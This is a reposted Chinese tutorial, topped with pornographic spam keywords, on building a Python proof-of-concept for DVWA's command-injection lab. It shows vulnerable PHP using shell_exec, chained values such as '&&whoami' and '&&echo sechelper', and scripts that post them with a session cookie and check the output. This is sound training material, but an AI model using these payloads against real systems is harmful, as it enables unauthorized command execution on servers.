日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網(wǎng)為廣大站長(zhǎng)提供免費(fèi)收錄網(wǎng)站服務(wù),提交前請(qǐng)做好本站友鏈:【 網(wǎng)站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(wù)(50元/站),

點(diǎn)擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會(huì)員:747

1 概述

1.1 什么是POC?

POC(全稱: Proof of concept), 中文譯作概念驗(yàn)證。在安全界可以理解成漏洞驗(yàn)證程序。和一些應(yīng)用程序相比,PoC 是一段不完整的程序,僅僅是為了證明提出者的觀點(diǎn)的一段代碼。

1.2 實(shí)驗(yàn)環(huán)境

  • PyCharm
  • Python/ target=_blank class=infotextkey>Python 3.8.0
  • lxml 4.8.0
  • requests 2.27.1
  • mihun 1.0
  • DVWA 1.10

1.3 安裝環(huán)境

pip install requests==2.27.1
pip install bs4==0.0.1
pip install lxml==4.8.0

2 分析漏洞

本次漏洞使用 DVWA(Damn Vulnerable Web App) 是一個(gè)用來進(jìn)行安全脆弱性鑒定的php/MySQL Web 應(yīng)用,旨在為安全專業(yè)人員測(cè)試自己的專業(yè)技能和工具提供合法的環(huán)境,幫助web開發(fā)者更好的理解web應(yīng)用安全防范的過程。mihun滲透靶場(chǎng) 已經(jīng)集成DVWA。

http://mihun-ip/

2.1 漏洞分析

user: admin
password: password
登入DVWA系統(tǒng),將 DVWA Security 修改為low,本次使用 Command Injection(命令注入) 模塊作為此次POC驗(yàn)證漏洞點(diǎn)

 

2.2 如何觸發(fā)漏洞?

Command Injection(命令注入) 模塊用于驗(yàn)證網(wǎng)絡(luò)是否通暢,由于對(duì)輸入的參數(shù)檢查不嚴(yán)格導(dǎo)致任意命令執(zhí)行

ping sechelper.cn && whoami

 

2.3 源碼分析

Command Injection 模塊源碼

<?php


if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];


    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }


    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}


?>

分析上面源碼發(fā)現(xiàn)ip參數(shù)未過濾被帶入命令執(zhí)行函數(shù)shell_exec,利用linux/win命令特性拼接參數(shù) sechelper.cn&&whoami

偽代碼如下:

shell_exec( 'ping  -c 4 ' . $target ) == shell_exec('ping  -c 4 sechelper.cn&&whoami' );

3 編寫驗(yàn)證程序

使用PyCharm 創(chuàng)建一個(gè)python項(xiàng)目

 

3.1 分析http數(shù)據(jù)包

使用火狐瀏覽器按 F12 開啟Firebug開發(fā)者模式,選擇網(wǎng)絡(luò) 重新觸發(fā)漏洞觀察http請(qǐng)求

 

文件列 /vulnerabilities/exec/ 是接口地址,方法是 POST ,域名是 192.168.17.5 ,完整http請(qǐng)求包如下:

POST /vulnerabilities/exec/ HTTP/1.1
Host: 192.168.17.5
User-Agent: Mozilla/5.0 (macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Origin: http://192.168.17.5
Connection: keep-alive
Referer: http://192.168.17.5/vulnerabilities/exec/
Cookie: PHPSESSID=07ffg4rcbufo5Gekqch8v86226; security=low
Upgrade-Insecure-Requests: 1


ip=192.168.17.5&Submit=Submit

 

3.2 構(gòu)建初版代碼

漏洞的信息已經(jīng)知道的差不多,開始編寫代碼

# coding=utf-8


import requests


url = "http://192.168.17.5/vulnerabilities/exec/"
data = {"ip": "sechelper.cn"}


# 禁止跳轉(zhuǎn) allow_redirects = False
response = requests.post(url, data, allow_redirects=False)
print("狀態(tài): {}".format(response.status_code))
print("302跳轉(zhuǎn)地址:{}".format(response.next.url))

 

執(zhí)行上面代碼返回狀態(tài) 302,不應(yīng)該是200 嗎?為什么返回 302 ?,觀察控制臺(tái)內(nèi)打印出的跳轉(zhuǎn)地址是登入界面,原來/vulnerabilities/exec/ 有授權(quán)驗(yàn)證,未授權(quán)會(huì)跳轉(zhuǎn)到登入界面

 

3.3 請(qǐng)求授權(quán)接口

怎么才能授權(quán)呢?

這里就不分析登入的過程了,登入信息保存在Cookie內(nèi),在請(qǐng)求頭內(nèi)加入 cookie 頭

# coding=utf-8


import requests


url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}
data = {"ip": "sechelper.cn&&whoami", "Submit":    "Submit"}


# 禁止跳轉(zhuǎn) allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers)
print("狀態(tài): {}".format(response.status_code))
print("結(jié)果:{}".format(response.text))

 

 

從結(jié)果內(nèi)看出代碼已經(jīng)可以訪問并利用 /vulnerabilities/exec/ 存在漏洞接口,那么如何使用代碼快速識(shí)別出漏洞是否存在呢?

3.4 快速驗(yàn)證漏洞兩種方法

特征方式匹配返回結(jié)果里的特征檢測(cè)漏洞是否存在,匹配到 自定義 的字符則表示漏洞存在

# coding=utf-8


import requests


url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}
data = {"ip": "192.168.17.5&&echo sechelper", "Submit": "Submit"}


# 禁止跳轉(zhuǎn) allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers)


if response.status_code == 200 and response.text.find("sechelper") != -1:
    print("[*] {} is weak".format(url))
else:
    print("[x] {} is safe".format(url))
print("Detection completed...")

 

 

關(guān)鍵輸出方式輸出關(guān)鍵信息人工判斷是否成功,一些復(fù)雜的漏洞利用需要使用這種方式

# coding=utf-8


import requests


url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=3eabqr5lprmsir8n0211bolpn1; security=low"}
data = {"ip": "192.168.111.129&&echo sechelper", "Submit":"Submit"}


# 禁止跳轉(zhuǎn) allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers, timeout=5)


if response.status_code == 200:
    from bs4 import BeautifulSoup
    soup = BeautifulSoup(response.text, 'lxml')


    # 在html找到第一個(gè)pre標(biāo)簽并返回,取出內(nèi)容就是命令執(zhí)行的結(jié)果
    pre = soup.find("pre")
    print("[*] response {}".format(pre.text))
print("Detection completed...")

4 結(jié)束語

滲透過程中自己寫腳本可以更方便快捷的做一些事情,滲透測(cè)試很難全程自動(dòng)化,寫一些小工具可以顯著提高滲透效率,想要做一個(gè)合格白帽子會(huì)一門語言是很有必要的。關(guān)注至察助安微信公眾號(hào),專注網(wǎng)絡(luò)安全優(yōu)質(zhì)知識(shí)分享,無優(yōu)質(zhì),不分享。

分享到:
標(biāo)簽:POC
用戶無頭像

網(wǎng)友整理

注冊(cè)時(shí)間:

網(wǎng)站:5 個(gè)   小程序:0 個(gè)  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會(huì)員

趕快注冊(cè)賬號(hào),推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨(dú)大挑戰(zhàn)2018-06-03

數(shù)獨(dú)一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學(xué)四六

運(yùn)動(dòng)步數(shù)有氧達(dá)人2018-06-03

記錄運(yùn)動(dòng)步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績(jī)?cè)u(píng)定2018-06-03

通用課目體育訓(xùn)練成績(jī)?cè)u(píng)定